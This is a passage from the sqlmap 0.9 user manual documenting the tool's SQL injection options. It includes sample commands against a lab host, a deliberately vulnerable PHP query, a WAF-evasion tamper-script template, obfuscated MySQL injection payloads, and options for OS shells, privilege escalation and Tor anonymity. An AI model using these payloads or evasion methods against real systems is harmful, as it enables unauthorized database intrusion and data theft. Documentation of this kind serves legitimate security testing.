    --ignore-proxy      Ignore system default HTTP proxy
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --safe-url=SAFURL   Url address to visit frequently during testing
    --safe-freq=SAFREQ  Test requests between two visits to a given safe url

  Optimization:
    These options can be used to optimize the performance of sqlmap.

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts.

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to this value
    --os=OS             Force back-end DBMS operating system to this value
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

  Detection:
    These options can be used to specify how to parse and compare page
    content from HTTP responses when using blind SQL injection technique.

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (0-3, default 1)
    --string=STRING     String to match in page when the query is valid
    --regexp=REGEXP     Regexp to match in page when the query is valid
    --text-only         Compare pages based only on the textual content

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques.

    --technique=TECH    SQL injection techniques to test for (default BEUST)
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements.

    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table to enumerate
    -C COL              DBMS database table column to enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --start=LIMITSTART  First query output entry to retrieve
    --stop=LIMITSTOP    Last query output entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell

  Brute force:
    These options can be used to run brute force checks.

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

  User-defined function injection:
    These options can be used to create custom user-defined functions.

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system.

    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system.

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process' user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry.

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

  General:
    These options can be used to set some general working parameters.

    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    -s SESSIONFILE      Save and resume all data retrieved on a session file
    --flush-session     Flush session file for current target
    --fresh-queries     Ignores query results stored in session file
    --eta               Display for each output the estimated time of arrival
    --update            Update sqlmap
    --save              Save options on a configuration INI file
    --batch             Never ask for user input, use the default behaviour

  Miscellaneous:
    --beep              Alert when sql injection found
    --check-payload     IDS detection testing of injection payloads
    --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
    --forms             Parse and test forms on target url
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --mobile            Imitate smartphone through HTTP User-Agent header
    --page-rank         Display page rank (PR) for Google dork results
    --parse-errors      Parse DBMS error messages from response pages
    --replicate         Replicate dumped data into a sqlite3 database
    --tor               Use default Tor (Vidalia/Privoxy/Polipo) proxy address
    --wizard            Simple wizard interface for beginner users
</verb></tscreen>


<sect1>Output verbosity

<p>
Switch: <tt>-v</tt>

<p>
This switch can be used to set the verbosity level of output messages.
There exist <bf>seven</bf> levels of verbosity.
The default level is <bf>1</bf> in which information, warning, error and
critical messages and Python tracebacks (if any occur) will be displayed.

<itemize>
<item><bf>0</bf>: Show only Python tracebacks, error and critical messages.
<item><bf>1</bf>: Show also information and warning messages.
<item><bf>2</bf>: Show also debug messages.
<item><bf>3</bf>: Show also payloads injected.
<item><bf>4</bf>: Show also HTTP requests.
<item><bf>5</bf>: Show also HTTP responses' headers.
<item><bf>6</bf>: Show also HTTP responses' page content.
</itemize>

<p>
A reasonable level of verbosity to further understand what sqlmap does
under the hood is level <bf>2</bf>, primarily for the detection phase and
the take-over functionalities. Whereas if you want to see the SQL payloads
the tools sends, level <bf>3</bf> is your best choice.
In order to further debug potential bugs or unexpected behaviours, we
recommend you to set the verbosity to level <bf>4</bf> or above. This
level is recommended to be used when you feed the developers with a bug
report too.


<sect1>Target

<p>
At least one of these options has to be provided.

<sect2>Target URL

<p>
Switch: <tt>-u</tt> or <tt>-</tt><tt>-url</tt>

<p>
Run sqlmap against a single target URL. This switch requires an argument
which is the target URL in the form <tt>http(s)://targeturl[:port]/[...]</tt>.

<sect2>Parse targets from Burp or WebScarab proxy logs

<p>
Switch: <tt>-l</tt>

<p>
Rather than providing a single target URL, it is possible to test and
inject against HTTP requests proxied through <htmlurl url="http://portswigger.net/suite/"
name="Burp proxy"> or <htmlurl
url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"
name="WebScarab proxy"> This switch requires an argument which is the
proxy's HTTP requests log file.

<sect2>Load HTTP request from a file

<p>
Switch: <tt>-r</tt>

<p>
One of the possibilities of sqlmap is loading of complete HTTP request
from a textual file. That way you can skip usage of bunch of other
options (e.g. setting of cookies, POSTed data, etc).

<p>
Sample content of a HTTP request file provided as argument to this switch:

<tscreen><verb>
POST /sqlmap/mysql/post_int.php HTTP/1.1
Host: 192.168.136.131
User-Agent: Mozilla/4.0

id=1
</verb></tscreen>

<sect2>Process Google dork results as target addresses

<p>
Switch: <tt>-g</tt>

<p>
It is also possible to test and inject on <tt>GET</tt> parameters on the
results of your Google dork.

<p>
This option makes sqlmap negotiate with the search engine its session
cookie to be able to perform a search, then sqlmap will retrieve Google
first 100 results for the Google dork expression with <tt>GET</tt>
parameters asking you if you want to test and inject on each possible
affected URL.

<sect2>Load options from a configuration INI file

<p>
Switch: <tt>-c</tt>

<p>
It is possible to pass user's options from a configuration INI file, an
example is <tt>sqlmap.conf</tt>.

<p>
Note that if you also provide other options from command line, those are
evaluated when running sqlmap and overwrite those provided in the
configuration file.


<sect1>Request

<p>
These options can be used to specify how to connect to the target url.

<sect2>HTTP data

<p>
Option: <tt>-</tt><tt>-data</tt>

<p>
By default the HTTP method used to perform HTTP requests is <tt>GET</tt>,
but you can implicitly change it to <tt>POST</tt> by providing the data to
be sent in the <tt>POST</tt> requests. Such data, being those parameters,
are tested for SQL injection as well as any provided <tt>GET</tt>
parameters.


<sect2>HTTP <tt>Cookie</tt> header

<p>
Switches: <tt>-</tt><tt>-cookie</tt>, <tt>-</tt><tt>-drop-set-cookie</tt>
and <tt>-</tt><tt>-cookie-urlencode</tt> 

<p>
This feature can be useful in two ways:

<itemize>
<item>The web application requires authentication based upon cookies and
you have such data.
<item>You want to detect and exploit SQL injection on such header values.
</itemize>

<p>
Either reason brings you to need to send cookies with sqlmap requests, the
steps to go through are the following:

<itemize>
<item>Login to the application with your favourite browser.
<item>Get the HTTP Cookie from the browser's preferences or from the HTTP
proxy screen and copy to the clipboard.
<item>Go back to your shell and run sqlmap by pasting your clipboard as
the argument of the <tt>-</tt><tt>-cookie</tt> switch.
</itemize>

<p>
Note that the HTTP <tt>Cookie</tt> header values are usually separated by
a <tt>;</tt> character, <bf>not</bf> by an <tt>&amp;</tt>. sqlmap can
recognize these as separate sets of <tt>parameter=value</tt> too, as well
as GET and POST parameters.

<p>
If at any time during the communication, the web application responds with
<tt>Set-Cookie</tt> headers, sqlmap will automatically use its value in
all further HTTP requests as the <tt>Cookie</tt> header. sqlmap will also
automatically test those values for SQL injection. This can be avoided by
providing the switch <tt>-</tt><tt>-drop-set-cookie</tt> - sqlmap will
ignore any coming <tt>Set-Cookie</tt> header.

<p>
Vice versa, if you provide a HTTP <tt>Cookie</tt> header with
<tt>-</tt><tt>-cookie</tt> switch and the target URL sends an HTTP
<tt>Set-Cookie</tt> header at any time, sqlmap will ask you which set of
cookies to use for the following HTTP requests.

<p>
sqlmap by default does <bf>not</bf> URL-encode generated cookie payloads,
but you can force it by using the <tt>-</tt><tt>-cookie-urlencode</tt>
switch. Cookie content encoding is not declared by HTTP protocol standard
in any way, so it is solely the matter of web application's behaviour.

<p>
Note that also the HTTP <tt>Cookie</tt> header is tested against SQL
injection if the <tt>-</tt><tt>-level</tt> is set to <bf>2</bf> or above.
Read below for details.


<sect2>HTTP <tt>User-Agent</tt> header

<p>
Switches: <tt>-</tt><tt>-user-agent</tt> and <tt>-</tt><tt>-random-agent</tt>

<p>
By default sqlmap performs HTTP requests with the following <tt>User-Agent</tt>
header value:

<tscreen><verb>
sqlmap/0.9 (http://www.sqlmap.org)
</verb></tscreen>

<p>
However, it is possible to fake it with the <tt>-</tt><tt>-user-agent</tt>
switch by providing custom User-Agent as the switch argument.

<p>
Moreover, by providing the <tt>-</tt><tt>-random-agent</tt> switch, sqlmap
will randomly select a <tt>User-Agent</tt> from the <tt>./txt/user-agents.txt</tt>
textual file and use it for all HTTP requests within the session.

<p>
Some sites perform a server-side check on the HTTP <tt>User-Agent</tt>
header value and fail the HTTP response if a valid <tt>User-Agent</tt> is
not provided, its value is not expected or is blacklisted by a web
application firewall or similar intrusion prevention system. In this case
sqlmap will show you a message as follows:

<tscreen><verb>
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to 
force the HTTP User-Agent header with option --user-agent or --random-agent
</verb></tscreen>

<p>
Note that also the HTTP <tt>User-Agent</tt> header is tested against SQL
injection if the <tt>-</tt><tt>-level</tt> is set to <bf>3</bf> or above.
Read below for details.


<sect2>HTTP <tt>Referer</tt> header

<p>
Switch: <tt>-</tt><tt>-referer</tt>

<p>
It is possible to fake the HTTP <tt>Referer</tt> header value. By default
<bf>no</bf> HTTP <tt>Referer</tt> header is sent in HTTP requests if not
explicitly set.

<p>
Note that also the HTTP <tt>Referer</tt> header is tested against SQL
injection if the <tt>-</tt><tt>-level</tt> is set to <bf>3</bf> or above.
Read below for details.


<sect2>Extra HTTP headers

<p>
Switch: <tt>-</tt><tt>-headers</tt>

<p>
It is possible to provide extra HTTP headers by setting the
<tt>-</tt><tt>-headers</tt> switch. Each header must be separated by a
newline and it is much easier to provide them from the configuration INI
file. Have a look at the sample <tt>sqlmap.conf</tt> file for an example.


<sect2>HTTP protocol authentication

<p>
Switches: <tt>-</tt><tt>-auth-type</tt> and <tt>-</tt><tt>-auth-cred</tt>

<p>
These options can be used to specify which HTTP protocol authentication
the web server implements and the valid credentials to be used to perform
all HTTP requests to the target application.

The three supported HTTP protocol authentication mechanisms are:

<itemize>
<item><tt>Basic</tt>
<item><tt>Digest</tt>
<item><tt>NTLM</tt>
</itemize>

While the credentials' syntax is <tt>username:password</tt>.

<p>
Example of valid syntax:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
  --auth-type Basic --auth-cred "testuser:testpass"
</verb></tscreen>


<sect2>HTTP protocol certificate authentication

<p>
Switch: <tt>-</tt><tt>-auth-cert</tt>

<p>
This switch should be used in cases when the web server requires proper
client-side certificate for authentication. Supplied values should be in
the form: <tt>key_file,cert_file</tt>, where <tt>key_file</tt> should be
the name of a PEM formatted file that contains your private key, while
<tt>cert_file</tt> should be the name for a PEM formatted certificate
chain file.


<sect2>HTTP(S) proxy

<p>
Switches: <tt>-</tt><tt>-proxy</tt>, <tt>-</tt><tt>-proxy-cred</tt>,
<tt>-</tt><tt>-ignore-proxy</tt> and <tt>-</tt><tt>-tor</tt>

<p>
It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S)
requests to the target URL. The syntax of HTTP(S) proxy value is
<tt>http://url:port</tt>.

<p>
If the HTTP(S) proxy requires authentication, you can provide the
credentials in the format <tt>username:password</tt> to the
<tt>-</tt><tt>-proxy-cred</tt> switch.

<p>
If, for any reason, you need to stay anonymous, instead of passing by a
single predefined HTTP(S) proxy server, you can configure a <htmlurl
url="http://www.torproject.org/" name="Tor client"> together with
<htmlurl url="http://www.privoxy.org" name="Privoxy"> (or similar) on
your machine as explained on the Tor client guide and use the Privoxy
daemon, by default listening on <tt>127.0.0.1:8118</tt>, as the sqlmap
proxy by simply providing the tool with the <tt>-</tt><tt>-tor</tt>
switch instead of <tt>-</tt><tt>-proxy</tt>.

<p>
The switch <tt>-</tt><tt>-ignore-proxy</tt> should be used when you want
to run sqlmap against a target part of a local area network by ignoring
the system-wide set HTTP(S) proxy server setting.


<sect2>Delay between each HTTP request

<p>
Switch: <tt>-</tt><tt>-delay</tt>

<p>
It is possible to specify a number of seconds to hold between each HTTP(S)
request. The valid value is a float, for instance <tt>0.5</tt> means half
a second.
By default, no delay is set.


<sect2>Seconds to wait before timeout connection

<p>
Switch: <tt>-</tt><tt>-timeout</tt>

<p>
It is possible to specify a number of seconds to wait before considering
the HTTP(S) request timed out. The valid value is a float, for instance
10.5 means ten seconds and a half.
By default <bf>30 seconds</bf> are set.


<sect2>Maximum number of retries when the HTTP connection timeouts

<p>
Switch: <tt>-</tt><tt>-retries</tt>

<p>
It is possible to specify the maximum number of retries when the HTTP(S)
connection timeouts. By default it retries up to <bf>three times</bf>.


<sect2>Filtering targets from provided proxy log using regular expression

<p>
Switch: <tt>-</tt><tt>-scope</tt>

<p>
Rather than using all hosts parsed from provided logs with switch 
<tt>-l</tt>, you can specify valid Python regular expression to be used
for filtering desired ones.

Example of valid syntax:

<tscreen><verb>
$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
</verb></tscreen>


<sect2>Avoid your session to be destroyed after too many unsuccessful requests

<p>
Switches: <tt>-</tt><tt>-safe-url</tt> and <tt>-</tt><tt>-safe-freq</tt>

<p>
Sometimes web applications or inspection technology in between destroys
the session if a certain number of unsuccessful requests is performed.
This might occur during the detection phase of sqlmap or when it exploits
any of the blind SQL injection types. Reason why is that the SQL payload
does not necessarily returns output and might therefore raise a signal to
either the application session management or the inspection technology.

<p>
To bypass this limitation set by the target, you can provide two switches:

<itemize>
<item><tt>-</tt><tt>-safe-url</tt>: Url address to visit frequently during
testing.
<item><tt>-</tt><tt>-safe-freq</tt>: Test requests between two visits to a
given safe url.
</itemize>

<p>
This way, sqlmap will visit every a predefined number of requests a
certain <em>safe</em> URL without performing any kind of injection against
it.


<sect1>Optimization

<p>
These switches can be used to optimize the performance of sqlmap.


<sect2>Bundle optimization

<p>
Switch: <tt>-o</tt>

<p>
This switch is an alias that implicitly sets the following switches:

<itemize>
<item><tt>-</tt><tt>-keep-alive</tt>
<item><tt>-</tt><tt>-null-connection</tt>
<item><tt>-</tt><tt>-threads 3</tt> if not set to a higher value.
</itemize>

<p>
Read below for details about each switch.


<sect2>Output prediction

<p>
Switch: <tt>-</tt><tt>-predict-output</tt>

<p>
This switch is used in inference algorithm for sequential statistical
prediction of characters of value being retrieved. Statistical table with
the most promising character values is being built based on items given in
<tt>txt/common-outputs.txt</tt> combined with the knowledge of current
enumeration used. In case that the value can be found among the common
output values, as the process progresses, subsequent character tables are
being narrowed more and more. If used in combination with retrieval of
common DBMS entities, as with system table names and privileges, speed up
is significant. Of course, you can edit the common outputs file according
to your needs if, for instance, you notice common patterns in database
table names or similar.

<p>
Note that this switch is not compatible with <tt>-</tt><tt>-threads</tt>
switch.


<sect2>HTTP Keep-Alive

<p>
Switch: <tt>-</tt><tt>-keep-alive</tt>

<p>
This switch instructs sqlmap to use persistent HTTP(s) connections.

<p>
Note that this switch is incompatible with <tt>-</tt><tt>-proxy</tt>
switch.


<sect2>HTTP NULL connection

<p>
Switch: <tt>-</tt><tt>-null-connection</tt>

<p>
There are special HTTP request types which can be used to retrieve
HTTP response's size without getting the HTTP body. This knowledge can be
used in blind injection technique to distinguish <tt>True</tt> from
<tt>False</tt> responses. When this switch is provided, sqlmap will try to
test and exploit two different <em>NULL connection</em> techniques:
<tt>Range</tt> and <tt>HEAD</tt>.
If any of these is supported by the target web server, speed up will come
from the obvious saving of used bandwidth.

<p>
These techniques are detailed in the white paper
<htmlurl url="http://www.wisec.it/sectou.php?id=472f952d79293"
name="Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth)">.

<p>
Note that this switch is incompatible with <tt>-</tt><tt>-text-only</tt>
switch.


<sect2>Concurrent HTTP(S) requests

<p>
Switch: <tt>-</tt><tt>-threads</tt>

<p>
It is possible to specify the maximum number of concurrent HTTP(S)
requests that sqlmap is allowed to do.
This feature relies on the <htmlurl url="http://en.wikipedia.org/wiki/Multithreading"
name="multi-threading"> concept and inherits both its pro and its cons.

<p>
This features applies to the brute-force switches and when the data
fetching is done through any of the blind SQL injection techniques.
For the latter case, sqlmap first calculates the length of the query
output in a single thread, then starts the multi-threading. Each thread is
assigned to retrieve one character of the query output. The thread ends
when that character is retrieved - it takes up to 7 HTTP(S) requests with
the bisection algorithm implemented in sqlmap.

<p>
The maximum number of concurrent requests is set to <bf>10</bf> for
performance and site reliability reasons.

<p>
Note that this switch is not compatible with
<tt>-</tt><tt>-predict-output</tt> switch.


<sect1>Injection

<p>
These options can be used to specify which parameters to test for, provide
custom injection payloads and optional tampering scripts.

<sect2>Testable parameter(s)

<p>
Switch: <tt>-p</tt>

<p>
By default sqlmap tests all <tt>GET</tt> parameters and <tt>POST</tt>
parameters. When the value of <tt>-</tt><tt>-level</tt> is >= <bf>2</bf>
it tests also HTTP <tt>Cookie</tt> header values. When this value is >=
<bf>3</bf> it tests also HTTP <tt>User-Agent</tt> and HTTP <tt>Referer</tt>
header value for SQL injections.
It is however possible to manually specify a comma-separated list of
parameter(s) that you want sqlmap to test. This will bypass the dependence
on the value of <tt>-</tt><tt>-level</tt> too.

<p>
For instance, to test for GET parameter <tt>id</tt> and for HTTP
<tt>User-Agent</tt> only, provide <tt>-p id,user-agent</tt>.


<sect2>URI injection point

<p>
There are special cases when injection point is within the URI itself.
sqlmap does not perform any automatic test against URI paths, unless
manually pointed to.
You have to specify these injection points in the command line by
appending an asterisk (<tt>*</tt>) after each URI point that you want
sqlmap to test for and exploit a SQL injection.

<p>
This is particularly useful when, for instance, Apache web server's
<htmlurl url="http://httpd.apache.org/docs/current/mod/mod_rewrite.html"
name="mod_rewrite"> module is in use or other similar technologies.

<p>
An example of valid command line would be:

<tscreen><verb>
$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
</verb></tscreen>


<sect2>Force the database management system name

<p>
Switch: <tt>-</tt><tt>-dbms</tt>

<p>
By default sqlmap automatically detects the web application's back-end
database management system.
As of version <bf>0.9</bf>, sqlmap fully supports the following database
management systems:

<itemize>
<item>MySQL
<item>Oracle
<item>PostgreSQL
<item>Microsoft SQL Server
<item>Microsoft Access
<item>SQLite
<item>Firebird
<item>Sybase
<item>SAP MaxDB
</itemize>

<p>
If for any reason sqlmap fails to detect the back-end DBMS once a SQL
injection has been identified or if you want to avoid an active fingeprint,
you can provide the name of the back-end DBMS yourself (e.g. <tt>postgresql</tt>).
For MySQL and Microsoft SQL Server provide them respectively in the form
<tt>MySQL &lt;version&gt;</tt> and <tt>Microsoft SQL Server &lt;version&gt;
</tt>, where <tt>&lt;version&gt;</tt> is a valid version for the DBMS; for
instance <tt>5.0</tt> for MySQL and <tt>2005</tt> for Microsoft SQL Server.

<p>
In case you provide <tt>-</tt><tt>-fingerprint</tt> together with
<tt>-</tt><tt>-dbms</tt>, sqlmap will only perform the extensive
fingerprint for the specified database management system only, read below
for further details.

<p>
Note that this option is <bf>not</bf> mandatory and it is strongly
recommended to use it <bf>only if you are absolutely sure</bf> about the
back-end database management system. If you do not know it, let sqlmap
automatically fingerprint it for you.


<sect2>Force the database management system operating system name

<p>
Switch: <tt>-</tt><tt>-os</tt>

<p>
By default sqlmap automatically detects the web application's back-end
database management system underlying operating system when this
information is a dependence of any other provided switch.
At the moment the fully supported operating systems are two:

<itemize>
<item>Linux
<item>Windows
</itemize>

<p>
It is possible to force the operating system name if you already know it
so that sqlmap will avoid doing it itself.

<p>
Note that this option is <bf>not</bf> mandatory and it is strongly
recommended to use it <bf>only if you are absolutely sure</bf> about the
back-end database management system underlying operating system. If you do
not know it, let sqlmap automatically identify it for you.


<sect2>Custom injection payload

<p>
Switches: <tt>-</tt><tt>-prefix</tt> and <tt>-</tt><tt>-suffix</tt>

<p>
In some circumstances the vulnerable parameter is exploitable only if the
user provides a specific suffix to be appended to the injection payload.
Another scenario where these options come handy presents itself when the
user already knows that query syntax and want to detect and exploit the
SQL injection by directly providing a injection payload prefix and suffix.

<p>
Example of vulnerable source code:

<tscreen><verb>
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
</verb></tscreen>

<p>
To detect and exploit this SQL injection, you can either let sqlmap detect
the <bf>boundaries</bf> (as in combination of SQL payload prefix and
suffix) for you during the detection phase, or provide them on your own.
For example:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
  -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
</verb></tscreen>

<p>
This will result in all sqlmap requests to end up in a query as follows:

<tscreen><verb>
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
</verb></tscreen>

<p>
Which makes the query syntactically correct.

<p>
In this simple example, sqlmap could detect the SQL injection and exploit
it without need to provide custom boundaries, but sometimes in real world
application it is necessary to provide it when the injection point is
within nested <tt>JOIN</tt> queries for instance.


<sect2>Tamper injection data

<p>
Switch: <tt>-</tt><tt>-tamper</tt>

<p>
sqlmap itself does no obfuscation of the payload sent, except for strings
between single quotes replaced by their <tt>CHAR()</tt>-alike
representation.

<p>
This switch can be very useful and powerful in situations where there is
a weak input validation mechanism between you and the back-end database
management system. This mechanism usually is a self-developed input
validation routine called by the application source code, an expensive
enterprise-grade IPS appliance or a web application firewall (WAF). All
buzzwords to define the same concept, implemented in a different way and
costing lots of money, usually.

<p>
To take advantage of this switch, provide sqlmap with a comma-separated
list of tamper scripts and this will process the payload and return it
transformed. You can define your own tamper scripts, use sqlmap ones from
the <tt>tamper/</tt> folder or edit them as long as you concatenate them
comma-separated as the argument of <tt>-</tt><tt>-tamper</tt> switch.

<p>
The format of a valid tamper script is as follows:

<tscreen><verb>
# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
    Description of your tamper script
    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal
</verb></tscreen>

<p>
You can check valid and usable tamper scripts in the <tt>tamper/</tt>
directory.

<p>
Example against a MySQL target assuming that <tt>&gt;</tt> character,
spaces and capital <tt>SELECT</tt> string are banned:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
  tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING 
clause' injectable 
[...]
</verb></tscreen>



<sect1>Detection

<p>
These options can be used to specify how to parse and compare page
content from HTTP responses when using blind SQL injection technique.

<sect2>Level

<p>
Switch: <tt>-</tt><tt>-level</tt>

<p>
This switch requires an argument which specifies the level of tests to
perform. There are <bf>five</bf> levels. The default value is <bf>1</bf>
where limited number of tests (requests) are performed. Vice versa, level
<bf>5</bf> will test verbosely for a much larger number of payloads and
boundaries (as in pair of SQL payload prefix and suffix).
The payloads used by sqlmap are specified in the textual file
<tt>xml/payloads.xml</tt>. Following the instructions on top of the file,
if sqlmap misses an injection, you should be able to add your own
payload(s) to test for too!

<p>
Not only this switch affects which payload sqlmap tries, but also which
injection points are taken in exam: GET and POST parameters are
<bf>always</bf> tested, HTTP Cookie header values are tested from level
<bf>2</bf> and HTTP User-Agent/Referer headers' value is tested from level
<bf>3</bf>.

<p>
All in all, the harder it is to detect a SQL injection, the higher the
<tt>-</tt><tt>-level</tt> must be set.

<p>
It is strongly recommended to higher this value before reporting to the
mailing list that sqlmap is not able to detect a certain injection point.


<sect2>Risk

<p>
Switch: <tt>-</tt><tt>-risk</tt>

<p>
This switch requires an argument which specifies the risk of tests to
perform. There are <bf>four</bf> risk values. The default value is
<bf>1</bf> which is innocuous for the majority of SQL injection points.
Risk value 2 adds to the default level the tests for heavy query
time-based SQL injections and value 3 adds also <tt>OR</tt>-based SQL
injection tests.

<p>
In some instances, like a SQL injection in an <tt>UPDATE</tt> statement,
injecting an <tt>OR</tt>-based payload can lead to an update of all the
entries of the table, which is certainly not what the attacker wants. For
this reason and others this switch has been introduced: the user has
control over which payloads get tested, the user can arbitrarily choose
to use also potentially dangerous ones.
As per the previous switch, the payloads used by sqlmap are specified in
the textual file <tt>xml/payloads.xml</tt> and you are free to edit and
add your owns.


<sect2>Page comparison

<p>
Switches: <tt>-</tt><tt>-string</tt>, <tt>-</tt><tt>-regexp</tt> and
<tt>-</tt><tt>-text-only</tt>

<p>
By default the distinction of a <tt>True</tt> query by a <tt>False</tt>
one (rough concept behind boolean-based blind SQL injection vulnerabilities)
is done by comparing the injected requests page content with the original
not injected page content.
Not always this concept works because sometimes the page content changes at
each refresh even not injecting anything, for instance when the page has a
counter, a dynamic advertisement banner or any other part of the HTML which
is rendered dynamically and might change in time not only consequently to
user's input.
To bypass this limit, sqlmap tries hard to identify these snippets of the
response bodies and deal accordingly. Sometimes it may fail, that is why
the user can provide a string (<tt>-</tt><tt>-string</tt> switch) which is
<bf>always</bf> present on the not injected page <bf>and</bf> on all True
injected query pages, but that it is <bf>not</bf> on the False ones. As
an alternative to a static string, the user can provide a regular
expression (<tt>-</tt><tt>-regexp</tt> switch).

<p>
Such data is easy for an user to retrieve, simply try to inject on the
affected parameter an invalid value and compare manually the original (not
injected) page content with the injected wrong page content.
This way the distinction will be based upon string presence or regular
expression match.

<p>
In cases with lot of active content (e.g. scripts, embeds, etc.) in the
HTTP responses' body, you can filter pages (<tt>-</tt><tt>-text-only</tt>
switch) just for their textual content. This way, in a good number of
cases, you can automatically tune the detection engine.


<sect1>Techniques

<p>
These options can be used to tweak testing of specific SQL injection
techniques.


<sect2>SQL injection techniques to test for

<p>
Switch: <tt>-</tt><tt>-technique</tt>

<p>
This switch can be used to specify which SQL injection type to test for.
By default sqlmap tests for <bf>all</bf> types/techniques it supports.

<p>
In certain situations you may want to test only for one or few specific
types of SQL injection thought and this is where this switch comes into
play.

<p>
This switch requires an argument. Such argument is a string composed by
any combination of <tt>B</tt>, <tt>E</tt>, <tt>U</tt>, <tt>S</tt> and
<tt>T</tt> characters where each letter stands for a different technique:

<itemize>
<item><tt>B</tt>: Boolean-based blind SQL injection
<item><tt>E</tt>: Error-based SQL injection
<item><tt>U</tt>: UNION query SQL injection
<item><tt>S</tt>: Stacked queries SQL injection
<item><tt>T</tt>: Time-based blind SQL injection
</itemize>

<p>
For instance, you can provide <tt>ES</tt> if you want to test for and
exploit error-based and stacked queries SQL injection types only.
